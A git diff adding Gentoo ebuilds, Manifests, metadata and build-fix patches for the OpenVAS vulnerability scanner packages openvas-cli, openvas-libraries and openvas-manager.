index 000000000000..10fd5970fc9b
--- /dev/null
+++ b/net-analyzer/openvas-cli/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hanno@gentoo.org</email>
+ </maintainer>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/openvas-cli/openvas-cli-1.3.1.ebuild b/net-analyzer/openvas-cli/openvas-cli-1.3.1.ebuild
new file mode 100644
index 000000000000..b6335efb2963
--- /dev/null
+++ b/net-analyzer/openvas-cli/openvas-cli-1.3.1.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils
+
+DL_ID=1803
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-cli)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-7.0.7
+ !net-analyzer/openvas-client"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}"/var
+ -DSYSCONFDIR="${EPREFIX}"/etc
+ )
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/openvas-cli/openvas-cli-1.4.0.ebuild b/net-analyzer/openvas-cli/openvas-cli-1.4.0.ebuild
new file mode 100644
index 000000000000..6b6eb04efc34
--- /dev/null
+++ b/net-analyzer/openvas-cli/openvas-cli-1.4.0.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils
+
+DL_ID=1987
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-cli)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-8.0.1
+ !net-analyzer/openvas-client"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P/_beta/+beta}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}"/var
+ -DSYSCONFDIR="${EPREFIX}"/etc
+ )
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/openvas-cli/openvas-cli-1.4.2.ebuild b/net-analyzer/openvas-cli/openvas-cli-1.4.2.ebuild
new file mode 100644
index 000000000000..0ab754a790be
--- /dev/null
+++ b/net-analyzer/openvas-cli/openvas-cli-1.4.2.ebuild
@@ -0,0 +1,33 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils
+
+DL_ID=2141
+
+DESCRIPTION="A remote security scanner for Linux (OpenVAS-cli)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS=" ~amd64 ~arm ~ppc ~x86"
+IUSE=""
+
+RDEPEND="
+ >=net-analyzer/openvas-libraries-8.0.4
+ !net-analyzer/openvas-client"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+S="${WORKDIR}"/${P/_beta/+beta}
+
+src_configure() {
+ local mycmakeargs=(
+ -DLOCALSTATEDIR="${EPREFIX}"/var
+ -DSYSCONFDIR="${EPREFIX}"/etc
+ )
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/openvas-libraries/Manifest b/net-analyzer/openvas-libraries/Manifest
new file mode 100644
index 000000000000..d285cb7d70b7
--- /dev/null
+++ b/net-analyzer/openvas-libraries/Manifest
@@ -0,0 +1,3 @@
+DIST openvas-libraries-7.0.10.tar.gz 581409 SHA256 5093d08182cec065ee8945599a1295080bb1657d95a3f587dff3e4d0bbc1c339 SHA512 9796e9ae51b8f2ba69fcda7d5f782b70ec8c6a346403628d6d37d255c3c1eb90f5a4fdc38fd9436a3232060155b90ebbfd7b626f4777d3204048f1c8c0e6c53c WHIRLPOOL 45753cbcff0cb7fc5bcffbaa3d7a65401d8a4531cb14155e9a76ed91fc59e166c8339a91e5f2d8ba8839ac7d5d7be273dc61ebe124b5b3f5cbb99f9df444e2a2
+DIST openvas-libraries-8.0.3.tar.gz 600412 SHA256 552c7f4de11e5f4678a39c27837db168f4063778e9806d999cfad36f8504d870 SHA512 88afc8828eca45bfa74f6a1b14e4381d837e965b8b69e32eecb794814142cbca75078da1a753a42fc1ace5fb51b200c4f05cd03ad2d7c1450ba70db84c3fb21c WHIRLPOOL 665410157656f53462795b867405ec3f826921613eb3cfb142d68354eaf428110689a86def836bf6fa472aed0dcf5d2850658f1ca2b29a46bcda96bd52fc656e
+DIST openvas-libraries-8.0.4.tar.gz 601421 SHA256 e8219e358185e60097f12e9a579b5ecfcd8c92f551195839dec85253a2d8e6f5 SHA512 69dcfa1902ed4f445cd775579f52411715454f2e62363c099d353466e4bc73889ff0f74f1f2a67509ec0106d152891ba42ffad1fe87c6ecd16c5085cd1e62f77 WHIRLPOOL 1e4bcbf55961b9733c969c7b06c507f822ca6f073bcb498a9d72f76fe4d0efa0ea4f8ac08fdfa1f04e16b4f52289e5485087dd7c28d81b99db18f91bc4671f7b
diff --git a/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-bsdsource.patch b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-bsdsource.patch
new file mode 100644
index 000000000000..6df661f5db75
--- /dev/null
+++ b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-bsdsource.patch
@@ -0,0 +1,32 @@
+diff -ru openvas-libraries-7.0.1.orig/nasl/nasl_builtin_synscan.c openvas-libraries-7.0.1.new/nasl/nasl_builtin_synscan.c
+--- openvas-libraries-7.0.1.orig/nasl/nasl_builtin_synscan.c 2014-05-24 01:11:33.049417462 +0200
++++ openvas-libraries-7.0.1.new/nasl/nasl_builtin_synscan.c 2014-05-24 17:01:25.409361461 +0200
+@@ -24,7 +24,7 @@
+ *
+ */
+
+-#define _BSD_SOURCE 1
++#define _DEFAULT_SOURCE 1
+
+ #include <unistd.h> /* for close() */
+ #include <stdlib.h> /* for rand() */
+diff -ru openvas-libraries-7.0.1.orig/nasl/nasl_raw.h openvas-libraries-7.0.1.new/nasl/nasl_raw.h
+--- openvas-libraries-7.0.1.orig/nasl/nasl_raw.h 2014-05-24 01:11:33.287412716 +0200
++++ openvas-libraries-7.0.1.new/nasl/nasl_raw.h 2014-05-24 17:02:33.829967589 +0200
+@@ -20,12 +20,12 @@
+ #ifndef OPENVAS_RAW_H
+ #define OPENVAS_RAW_H
+ #ifdef __linux__
+-#ifndef __BSD_SOURCE
+-#define __BSD_SOURCE
++#ifndef __DEFAULT_SOURCE
++#define __DEFAULT_SOURCE
+ #endif
+
+-#ifndef _BSD_SOURCE
+-#define _BSD_SOURCE
++#ifndef _DEFAULT_SOURCE
++#define _DEFAULT_SOURCE
+ #endif
+
+ #ifndef __FAVOR_BSD
diff --git a/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-libssh.patch b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-libssh.patch
new file mode 100644
index 000000000000..d89459fe2bd0
--- /dev/null
+++ b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-libssh.patch
@@ -0,0 +1,16 @@
+https://www.mail-archive.com/openvas-discuss@wald.intevation.org/msg05828.html
+Fixes build issue with the newer version of libssh
+
+diff -ru openvas-libraries-7.0.1.orig/nasl/nasl_ssh.c openvas-libraries-7.0.1.new/nasl/nasl_ssh.c
+--- openvas-libraries-7.0.1.orig/nasl/nasl_ssh.c 2014-04-14 19:15:40.000000000 +0200
++++ openvas-libraries-7.0.1.new/nasl/nasl_ssh.c 2014-05-23 00:13:56.791111974 +0200
+@@ -1861,7 +1861,8 @@
+ return NULL;
+ session = session_table[tbl_slot].session;
+
+- banner = ssh_get_serverbanner (session);
++ //banner = ssh_get_serverbanner (session);
++ banner = (char*) ssh_get_serverbanner (session);
+ if (!banner)
+ return NULL;
+
diff --git a/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-run.patch b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-run.patch
new file mode 100644
index 000000000000..6ee5b775c88b
--- /dev/null
+++ b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.4-run.patch
@@ -0,0 +1,16 @@
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 940f897..8b2f26b 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -180,7 +180,7 @@ set (OPENVAS_DATA_DIR "${DATADIR}/openvas")
+ set (OPENVAS_STATE_DIR "${LOCALSTATEDIR}/lib/openvas")
+ set (OPENVAS_LOG_DIR "${LOCALSTATEDIR}/log/openvas")
+ set (OPENVAS_CACHE_DIR "${LOCALSTATEDIR}/cache/openvas")
+-set (OPENVAS_PID_DIR "${LOCALSTATEDIR}/run")
++set (OPENVAS_PID_DIR "/run")
+ set (OPENVAS_SYSCONF_DIR "${SYSCONFDIR}/openvas")
+
+ set (OPENVAS_NVT_DIR "${OPENVAS_STATE_DIR}/plugins")
diff --git a/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.6-underlinking.patch b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.6-underlinking.patch
new file mode 100644
index 000000000000..a9c38159ba06
--- /dev/null
+++ b/net-analyzer/openvas-libraries/files/openvas-libraries-7.0.6-underlinking.patch
@@ -0,0 +1,32 @@
+ base/CMakeLists.txt | 18 ------------------
+ 1 file changed, 18 deletions(-)
+
+diff --git a/base/CMakeLists.txt b/base/CMakeLists.txt
+index b798f85..c724473 100644
+--- a/base/CMakeLists.txt
++++ b/base/CMakeLists.txt
+@@ -100,24 +100,6 @@ endif (OPENVAS_PID_DIR)
+
+ add_custom_indent_targets (${FILES})
+
+-# Link the test-hosts executable
+-if (BUILD_SHARED)
+- add_executable (test-hosts test-hosts.c)
+- target_link_libraries (test-hosts openvas_base_shared openvas_misc_shared ${GLIB_LDFLAGS} -lgcrypt
+- "${GPGME_LDFLAGS}" -lgnutls "${PCAP_LDFLAGS}" -lresolv -lm ${WMI_LIBS}
+- ${GPGME_LDFLAGS} ${LIBSSH_LDFLAGS} ${KSBA_LDFLAGS} ${WINCMD_LIBS})
+- set_target_properties (test-hosts PROPERTIES COMPILE_FLAGS
+- "${GLIB_CFLAGS} ${GPGME_CFLAGS} ${LIBSSH_CFLAGS} ${KSBA_CFLAGS}")
+-endif (BUILD_SHARED)
+-if (BUILD_STATIC)
+- add_executable (test-hosts test-hosts.c)
+- target_link_libraries (test-hosts openvas_base_static openvas_misc_static ${GLIB_LDFLAGS} -lgcrypt
+- "${GPGME_LDFLAGS}" -lgnutls "${PCAP_LDFLAGS}" -lresolv -lm ${WMI_LIBS}
+- ${GPGME_LDFLAGS} ${LIBSSH_LDFLAGS} ${KSBA_LDFLAGS} ${WINCMD_LIBS})
+- set_target_properties (test-hosts PROPERTIES COMPILE_FLAGS
+- "${GLIB_CFLAGS} ${GPGME_CFLAGS} ${LIBSSH_CFLAGS} ${KSBA_CFLAGS}")
+-endif (BUILD_STATIC)
+-
+ ## Install
+ if (BUILD_STATIC)
+ install (TARGETS openvas_base_static
diff --git a/net-analyzer/openvas-libraries/files/openvas-libraries-8.0.1-include.patch b/net-analyzer/openvas-libraries/files/openvas-libraries-8.0.1-include.patch
new file mode 100644
index 000000000000..e03dd085e3b1
--- /dev/null
+++ b/net-analyzer/openvas-libraries/files/openvas-libraries-8.0.1-include.patch
@@ -0,0 +1,70 @@
+ base/CMakeLists.txt | 2 ++
+ nasl/CMakeLists.txt | 5 +++--
+ 2 files changed, 5 insertions(+), 2 deletions(-)
+
+diff --git a/base/CMakeLists.txt b/base/CMakeLists.txt
+index c2dccf5..4f17892 100644
+--- a/base/CMakeLists.txt
++++ b/base/CMakeLists.txt
+@@ -56,6 +56,7 @@ endif (MINGW)
+
+ if (BUILD_STATIC)
+ add_library (openvas_base_static STATIC ${FILES})
++ set_target_properties (openvas_base_static PROPERTIES COMPILE_FLAGS "${GPGME_CFLAGS}")
+ set_target_properties (openvas_base_static PROPERTIES OUTPUT_NAME "openvas_base")
+ set_target_properties (openvas_base_static PROPERTIES CLEAN_DIRECT_OUTPUT 1)
+ set_target_properties (openvas_base_static PROPERTIES PUBLIC_HEADER "${HEADERS}")
+@@ -63,6 +64,7 @@ endif (BUILD_STATIC)
+
+ if (BUILD_SHARED)
+ add_library (openvas_base_shared SHARED ${FILES})
++ set_target_properties (openvas_base_shared PROPERTIES COMPILE_FLAGS "${GPGME_CFLAGS}")
+ set_target_properties (openvas_base_shared PROPERTIES OUTPUT_NAME "openvas_base")
+ set_target_properties (openvas_base_shared PROPERTIES CLEAN_DIRECT_OUTPUT 1)
+ set_target_properties (openvas_base_shared PROPERTIES SOVERSION "${CPACK_PACKAGE_VERSION_MAJOR}")
+diff --git a/nasl/CMakeLists.txt b/nasl/CMakeLists.txt
+index 52fa5c6..afd18c2 100644
+--- a/nasl/CMakeLists.txt
++++ b/nasl/CMakeLists.txt
+@@ -41,7 +41,7 @@ endif (SNMP)
+ # The "-D_FILE_OFFSET_BITS=64 -DLARGEFILE_SOURCE=1" is necessary for GPGME!
+ # The "-fno-strict-aliasing" silences warnings caused by macros defined in byteorder.h.
+ # Once the warnings have been addressed this flag should be removed.
+-set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_FILE_OFFSET_BITS=64 -DLARGEFILE_SOURCE=1 -fno-strict-aliasing")
++set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_FILE_OFFSET_BITS=64 -DLARGEFILE_SOURCE=1 -fno-strict-aliasing ${GPGME_CFLAGS}")
+
+ ## Compile the parser - note that there are (better) CMake macros to achieve
+ ## that
+@@ -103,7 +103,7 @@ link_directories (${LIBDIR} ../base ../misc)
+
+ if (BUILD_STATIC)
+ add_library (openvas_nasl_static STATIC ${FILES})
+-
++ set_target_properties (openvas_nasl_static PROPERTIES COMPILE_FLAGS "${GPGME_CFLAGS}")
+ set_target_properties (openvas_nasl_static PROPERTIES OUTPUT_NAME "openvas_nasl")
+ set_target_properties (openvas_nasl_static PROPERTIES CLEAN_DIRECT_OUTPUT 1)
+ set_target_properties (openvas_nasl_static PROPERTIES PUBLIC_HEADER "${HEADERS}")
+@@ -118,6 +118,7 @@ endif (BUILD_STATIC)
+
+ if (BUILD_SHARED)
+ add_library (openvas_nasl_shared SHARED ${FILES})
++ set_target_properties (openvas_nasl_shared PROPERTIES COMPILE_FLAGS "${GPGME_CFLAGS}")
+ set_target_properties (openvas_nasl_shared PROPERTIES OUTPUT_NAME "openvas_nasl")
+ set_target_properties (openvas_nasl_shared PROPERTIES CLEAN_DIRECT_OUTPUT 1)
+ set_target_properties (openvas_nasl_shared PROPERTIES SOVERSION "${CPACK_PACKAGE_VERSION_MAJOR}")
+ base/gpgme_util.h | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/base/gpgme_util.h b/base/gpgme_util.h
+index 56e1b85..ab4e9fa 100644
+--- a/base/gpgme_util.h
++++ b/base/gpgme_util.h
+@@ -33,7 +33,7 @@
+ #ifndef _OPENVAS_LIBRARIES_GPGME_UTIL_H
+ #define _OPENVAS_LIBRARIES_GPGME_UTIL_H
+
+-#include <gpgme.h>
++#include <gpgme/gpgme.h>
+
+ gpgme_ctx_t openvas_init_gpgme_ctx (void);
+ gpgme_ctx_t openvas_init_gpgme_sysconf_ctx (void);
diff --git a/net-analyzer/openvas-libraries/metadata.xml b/net-analyzer/openvas-libraries/metadata.xml
new file mode 100644
index 000000000000..10fd5970fc9b
--- /dev/null
+++ b/net-analyzer/openvas-libraries/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hanno@gentoo.org</email>
+ </maintainer>
+ <maintainer>
+ <email>jlec@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/openvas-libraries/openvas-libraries-7.0.10.ebuild b/net-analyzer/openvas-libraries/openvas-libraries-7.0.10.ebuild
new file mode 100644
index 000000000000..2a590e9fc6de
--- /dev/null
+++ b/net-analyzer/openvas-libraries/openvas-libraries-7.0.10.ebuild
@@ -0,0 +1,58 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils
+
+DL_ID=2031
+
+DESCRIPTION="A remote security scanner for Linux (openvas-libraries)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="ldap"
+
+RDEPEND="
+ app-crypt/gpgme
+ >=dev-libs/glib-2.12
+ dev-libs/libksba
+ !net-analyzer/openvas-libnasl
+ =net-libs/gnutls-2*
+ net-libs/libpcap
+ net-libs/libssh
+ ldap? ( net-nds/openldap )"
+DEPEND="${RDEPEND}
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+ "
+
+DOCS="ChangeLog CHANGES README"
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-7.0.4-libssh.patch
+ "${FILESDIR}"/${PN}-7.0.4-bsdsource.patch
+ "${FILESDIR}"/${PN}-7.0.4-run.patch
+ "${FILESDIR}"/${PN}-7.0.6-underlinking.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ "-DLOCALSTATEDIR=${EPREFIX}/var"
+ "-DSYSCONFDIR=${EPREFIX}/etc"
+ $(usex ldap -DBUILD_WITHOUT_LDAP=0 -DBUILD_WITHOUT_LDAP=1)
+ )
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/openvas-libraries/openvas-libraries-8.0.3.ebuild b/net-analyzer/openvas-libraries/openvas-libraries-8.0.3.ebuild
new file mode 100644
index 000000000000..49d873693150
--- /dev/null
+++ b/net-analyzer/openvas-libraries/openvas-libraries-8.0.3.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils
+
+DL_ID=2067
+
+DESCRIPTION="A remote security scanner for Linux (openvas-libraries)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="ldap"
+
+RDEPEND="
+ app-crypt/gpgme
+ >=dev-libs/glib-2.16
+ >=dev-libs/hiredis-0.10.1
+ dev-libs/libgcrypt:0
+ dev-libs/libksba
+ !net-analyzer/openvas-libnasl
+ =net-libs/gnutls-2*
+ net-libs/libpcap
+ >=net-libs/libssh-0.5.0
+ net-analyzer/net-snmp
+ ldap? ( net-nds/openldap )"
+DEPEND="${RDEPEND}
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+ "
+
+S="${WORKDIR}"/${P}
+
+DOCS=( ChangeLog CHANGES README )
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-7.0.4-libssh.patch
+ "${FILESDIR}"/${PN}-8.0.1-include.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ "-DLOCALSTATEDIR=${EPREFIX}/var"
+ "-DSYSCONFDIR=${EPREFIX}/etc"
+ $(usex ldap -DBUILD_WITHOUT_LDAP=0 -DBUILD_WITHOUT_LDAP=1)
+ )
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/openvas-libraries/openvas-libraries-8.0.4.ebuild b/net-analyzer/openvas-libraries/openvas-libraries-8.0.4.ebuild
new file mode 100644
index 000000000000..e7014ac3fc5f
--- /dev/null
+++ b/net-analyzer/openvas-libraries/openvas-libraries-8.0.4.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit cmake-utils
+
+DL_ID=2125
+
+DESCRIPTION="A remote security scanner for Linux (openvas-libraries)"
+HOMEPAGE="http://www.openvas.org/"
+SRC_URI="http://wald.intevation.org/frs/download.php/${DL_ID}/${P/_beta/+beta}.tar.gz"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~arm ~ppc ~x86"
+IUSE="ldap"
+
+RDEPEND="
+ app-crypt/gpgme
+ >=dev-libs/glib-2.16
+ >=dev-libs/hiredis-0.10.1
+ dev-libs/libgcrypt:0
+ dev-libs/libksba
+ !net-analyzer/openvas-libnasl
+ =net-libs/gnutls-2*
+ net-libs/libpcap
+ >=net-libs/libssh-0.5.0
+ net-analyzer/net-snmp
+ ldap? ( net-nds/openldap )"
+DEPEND="${RDEPEND}
+ sys-devel/bison
+ sys-devel/flex
+ virtual/pkgconfig
+ "
+
+S="${WORKDIR}"/${P}
+
+DOCS=( ChangeLog CHANGES README )
+
+PATCHES=(
+ "${FILESDIR}"/${PN}-7.0.4-libssh.patch
+ "${FILESDIR}"/${PN}-8.0.1-include.patch
+ )
+
+src_prepare() {
+ sed \
+ -e '/^install.*OPENVAS_CACHE_DIR.*/d' \
+ -i CMakeLists.txt || die
+ cmake-utils_src_prepare
+}
+
+src_configure() {
+ local mycmakeargs=(
+ "-DLOCALSTATEDIR=${EPREFIX}/var"
+ "-DSYSCONFDIR=${EPREFIX}/etc"
+ $(usex ldap -DBUILD_WITHOUT_LDAP=0 -DBUILD_WITHOUT_LDAP=1)
+ )
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/openvas-manager/Manifest b/net-analyzer/openvas-manager/Manifest
new file mode 100644
index 000000000000..1f9121a88b06
--- /dev/null
+++ b/net-analyzer/openvas-manager/Manifest
@@ -0,0 +1,5 @@
+DIST openvas-manager-5.0.10.tar.gz 1744247 SHA256 60b73e42939db1bb82c026c872a8dc51d65e421150dc7686bc6ef6e9a2cfc29f SHA512 946fcf3b4a977cca9d0f39795eac28fdc4c6dd9a56ea65d1be579b4735232634bd95284f07e8cd9849bde81bbaf690ee6c0a801e1500a8b1ddba2f6dc1033800 WHIRLPOOL 7dcd6d547f484df2a3f25eec2a669e6d6f37770e8e0b81c05a7b62a03e28608596c09c3f7b870445b7146213e47ea595866582f389e2ba2bfed150bbb2678497
+DIST openvas-manager-5.0.11.tar.gz 1744359 SHA256 4d5b93c34b0767d838828f810d6617e5c5d0141659e48a1765b00636144ca081 SHA512 740e842a8681e2647d753149c4dd1a01077d489e3719ad11143a3430feeff8ecc4847668f70c45a684f466548dd891e649180dde070e1d99375d26040017d2a5 WHIRLPOOL 09b1d84871c5c9383790d76ea011f32b3270ad3d25d7f93d7f5b02e69310b66d63808f870331aac411070074b21b8128aa5983f7d7790e7aafb7fe7a19065248
+DIST openvas-manager-6.0.3.tar.gz 1914785 SHA256 cdad83b6745ac77657c569b6196559cdeb71a95a8d63e3c54ae30e0ce26c79c6 SHA512 53f671b21c91fb621244498974d97e2682dcdd19d6da1ace5d150a5ec5dd9553df93484b723890fde5e673063739c5cc081c4ecad25bcdb1cbee2352c8442b76 WHIRLPOOL 9d58fee8a67ba1c87931e43d3b294194dc4ee50c6a1756cdec835dcd8c2dd2663262a197cc45e769f1842b6fa991a274eb67974f1510af9521a98834797c0ce2
+DIST openvas-manager-6.0.4.tar.gz 1920546 SHA256 12e77da14ec1a12865f001aade603042911346b59f9fef0404c69f25560d7224 SHA512 81c946aac6bb9de5802d71b75668c4cc3f15e9d43779ee55af7b1b469e23268b9ad3678324a355bee2bbbd5fabd7f4c78452e2e8ea567d59e0d0f41889e9ff9f WHIRLPOOL a905c962edb629f2640386069950ae04e2c906aadb77eeec0ef034843671480e901cfb13e9958bf051889d9b512ea937336ded61d02298aa82ca0796e65fbbca
+DIST openvas-manager-6.0.5.tar.gz 1926160 SHA256 93cc47ed2722505e9a58b747a4587ed2161e2b586fe44b6d4da38d52813047c1 SHA512 ef76ba837c624e0d254aa4e9be4e1b95a9d40f6c2c6344b0487f7da61c5183a7a4b882cccce5e2ea473c9bf84525d68f46bd010ef751576da818acd749b38f44 WHIRLPOOL 4c8b4ce117fe4ede9063ed472b84099fc48f2d6b10ee96177aa2edb788604ead3ea723743804416288d5eed986cb8c789033f91bdc2e7f992b4f8cc84f046afc
diff --git a/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-bsdsource.patch b/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-bsdsource.patch
new file mode 100644
index 000000000000..f6db4e2ddaa2
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-bsdsource.patch
@@ -0,0 +1,12 @@
+diff -ru openvas-manager-5.0.1/CMakeLists.txt openvas-manager-5.0.1.bsdsource/CMakeLists.txt
+--- openvas-manager-5.0.1/CMakeLists.txt 2014-05-09 15:28:54.000000000 +0200
++++ openvas-manager-5.0.1/CMakeLists.txt 2014-05-26 23:11:41.845214141 +0200
+@@ -252,7 +252,7 @@
+ set (HARDENING_FLAGS "-Wformat -Wformat-security -O2 -D_FORTIFY_SOURCE=2 -fstack-protector -Wl,-z,relro -Wl,-z,now")
+
+ set (CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -Werror")
+-set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_BSD_SOURCE -D_ISOC99_SOURCE -D_SVID_SOURCE -D_FILE_OFFSET_BITS=64")
++set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${HARDENING_FLAGS} -Wall -D_DEFAULT_SOURCE -D_ISOC99_SOURCE -D_FILE_OFFSET_BITS=64")
+
+ add_subdirectory (src)
+
diff --git a/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-gpgerror.patch b/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-gpgerror.patch
new file mode 100644
index 000000000000..d5a8dc0194ea
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-gpgerror.patch
@@ -0,0 +1,18 @@
+diff -ru openvas-manager-5.0.1/CMakeLists.txt openvas-manager-5.0.1.gpg/CMakeLists.txt
+--- openvas-manager-5.0.1/CMakeLists.txt 2014-05-09 15:28:54.000000000 +0200
++++ openvas-manager-5.0.1.gpg/CMakeLists.txt 2014-05-26 23:24:14.830308478 +0200
+@@ -205,6 +205,13 @@
+ message (FATAL_ERROR "The gpgme library is required.")
+ endif (NOT GPGME)
+
++execute_process (COMMAND gpg-error-config --cflags
++ OUTPUT_VARIABLE GPGERROR_CFLAGS
++ OUTPUT_STRIP_TRAILING_WHITESPACE)
++execute_process (COMMAND gpg-error-config --libs
++ OUTPUT_VARIABLE GPGERROR_LDFLAGS
++ OUTPUT_STRIP_TRAILING_WHITESPACE)
++
+ execute_process (COMMAND pkg-config --cflags glib-2.0
+ OUTPUT_VARIABLE GLIB_CFLAGS
+ OUTPUT_STRIP_TRAILING_WHITESPACE)
+
diff --git a/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-run.patch b/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-run.patch
new file mode 100644
index 000000000000..f6ff60a3b1de
--- /dev/null
+++ b/net-analyzer/openvas-manager/files/openvas-manager-5.0.4-run.patch
@@ -0,0 +1,16 @@
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index 80f5bd2..33f0562 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -161,7 +161,7 @@ endif (NOT INCLUDEDIR)
+ set (OPENVAS_DATA_DIR "${DATADIR}/openvas")
+ set (OPENVAS_STATE_DIR "${LOCALSTATEDIR}/lib/openvas")
+ set (OPENVAS_LOG_DIR "${LOCALSTATEDIR}/log/openvas")
+-set (OPENVAS_PID_DIR "${LOCALSTATEDIR}/run")
++set (OPENVAS_PID_DIR "/run")
+ set (OPENVAS_SYSCONF_DIR "${SYSCONFDIR}/openvas")
+ set (OPENVAS_SCAP_RES_DIR "${OPENVAS_DATA_DIR}/scap")
+ set (OPENVAS_SCAP_DATA_DIR "${OPENVAS_STATE_DIR}/scap-data")
